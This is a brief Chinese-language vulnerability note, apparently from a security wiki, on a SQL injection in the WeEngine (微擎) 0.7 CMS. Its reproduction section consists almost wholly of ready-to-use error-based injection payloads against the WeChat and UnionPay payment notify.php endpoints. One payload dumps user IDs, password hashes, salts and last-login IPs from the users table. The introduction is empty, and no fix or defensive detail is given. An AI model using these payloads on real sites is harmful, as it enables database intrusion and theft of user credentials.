微擎_0.7_sql注入漏洞

# 微擎 0.7 sql注入漏洞

====================

一、漏洞简介
————

二、漏洞影响
————

微擎 0.7

三、复现过程
————

**此洞切记不可用sqlmap直接跑，否则会造成网站瘫痪。**

http://www.0-sec.org/payment/wechat/notify.php?attach[]=1’and extractvalue(1, concat(0x5c, (select user()))),’1
http://www.0-sec.org/payment/unionpay/notify.php
post:
reqReserved[]=1’and extractvalue(1, concat(0x5c, (select user()))),’1

### 补充：

1)AND(EXP(~(SELECT*from(select group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we77.ims_users)a))) AND (1